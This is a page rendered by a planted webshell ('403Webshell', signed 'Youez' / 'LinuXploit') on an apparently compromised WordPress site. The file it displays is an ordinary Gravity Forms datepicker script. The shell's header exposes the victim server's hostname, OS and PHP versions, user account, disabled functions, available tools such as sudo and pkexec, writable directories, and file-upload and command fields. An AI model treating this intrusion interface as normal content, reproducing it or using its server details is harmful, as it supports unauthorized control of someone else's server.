403Webshell
Server IP : www.new.bangkokfinder.com  /  Your IP : 162.158.189.185
Web Server : nginx/1.20.1
System : Linux new 4.15.0-159-generic #167-Ubuntu SMP Tue Sep 21 08:55:05 UTC 2021 x86_64
User : bangkokfinder ( 1000)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bangkokfinder/www/wp-content/plugins/gravityforms/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/bangkokfinder/www/wp-content/plugins/gravityforms/js/datepicker-legacy.js
/**
 * Apply legacy options to DatePickers within Legacy Forms.
 */
gform.addFilter( 'gform_datepicker_options_pre_init', function( optionsObj, formId, inputId, $element ) {
	var gf_legacy = window.gf_legacy_multi;

	if ( ! gf_legacy ) {
		return optionsObj;
	}
	if ( !gf_legacy[ formId ] || gf_legacy[ formId ] !== '1' ) {
		return optionsObj;
	}

	var $ = window.jQuery;
	var isPreview = $( '#preview_form_container' ).length > 0;
	var isRTL = window.getComputedStyle( $element[ 0 ], null ).getPropertyValue( 'direction' ) === 'rtl';
	var overrides = {
		showOtherMonths: false,
		beforeShow: function( input, inst ) {
			inst.dpDiv[0].classList.remove( 'gform-theme-datepicker' );
			inst.dpDiv[0].classList.remove( 'gravity-theme' );
			inst.dpDiv[0].classList.remove( 'gform-theme' );
			inst.dpDiv[0].classList.remove( 'gform-legacy-datepicker' );
			inst.dpDiv[0].classList.remove( 'gform-theme--framework' );
			inst.dpDiv[0].classList.remove( 'gform-theme--foundation' );
			inst.dpDiv[0].classList.remove( 'gform-theme--orbital' );
			inst.dpDiv[0].classList.add( 'gform-legacy-datepicker' );

			if ( isRTL && isPreview ) {
				var $inputContainer = $( input ).closest( '.gfield' );
				var rightOffset = $( document ).outerWidth() - ( $inputContainer.offset().left + $inputContainer.outerWidth() );
				inst.dpDiv[ 0 ].style.right = rightOffset + 'px';
			}

			if ( isPreview ) {
				inst.dpDiv[0].classList.add( 'gform-preview-datepicker' );
			}
			return ! this.suppressDatePicker;
		}
	};

	return Object.assign( optionsObj, overrides );
}, -10 );

Youez - 2016 - github.com/yon3zu
LinuXploit